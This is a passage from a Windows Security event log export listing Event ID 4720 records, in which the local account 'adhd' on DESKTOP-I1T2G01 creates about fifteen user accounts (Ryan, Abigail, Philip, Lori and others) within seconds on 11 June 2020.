Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1135</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Ryan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Ryan - adhd - - - 4720 - 4849 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.1160195Z'/><EventRecordID>4849</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Abigail</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1134</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Abigail</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Abigail - adhd - - - 4720 - 4843 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:04.0199436Z'/><EventRecordID>4843</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Philip</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1133</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Philip</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Philip - adhd - - - 4720 - 4837 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.9471189Z'/><EventRecordID>4837</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Lori</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1132</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Lori</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Lori - adhd - - - 4720 - 4831 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.8623042Z'/><EventRecordID>4831</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Andrew</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1131</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Andrew</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Andrew - adhd - - - 4720 - 4825 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.7724393Z'/><EventRecordID>4825</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Stephanie</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1130</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Stephanie</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Stephanie - adhd - - - 4720 - 4819 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.6905672Z'/><EventRecordID>4819</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jonathan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1129</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jonathan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jonathan - adhd - - - 4720 - 4813 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.5944712Z'/><EventRecordID>4813</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Judith</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1128</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Judith</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Judith - adhd - - - 4720 - 4807 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.5053637Z'/><EventRecordID>4807</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Christine</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1127</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Christine</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Christine - adhd - - - 4720 - 4801 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.4141151Z'/><EventRecordID>4801</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Kathleen</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1126</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Kathleen</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Kathleen - adhd - - - 4720 - 4795 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.3315855Z'/><EventRecordID>4795</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Kathy</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1125</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Kathy</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Kathy - adhd - - - 4720 - 4789 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.2452011Z'/><EventRecordID>4789</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Anna</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1124</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Anna</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Anna - adhd - - - 4720 - 4783 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.1052099Z'/><EventRecordID>4783</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Rebecca</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1123</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Rebecca</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Rebecca - adhd - - - 4720 - 4777 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:03.0216542Z'/><EventRecordID>4777</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Rachel</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1122</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Rachel</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Rachel - adhd - - - 4720 - 4771 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:02.9310070Z'/><EventRecordID>4771</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Aaron</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1121</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Aaron</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Aaron - adhd - - - 4720 - 4765 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:02.7173434Z'/><EventRecordID>4765</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Alexander</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1120</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Alexander</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data 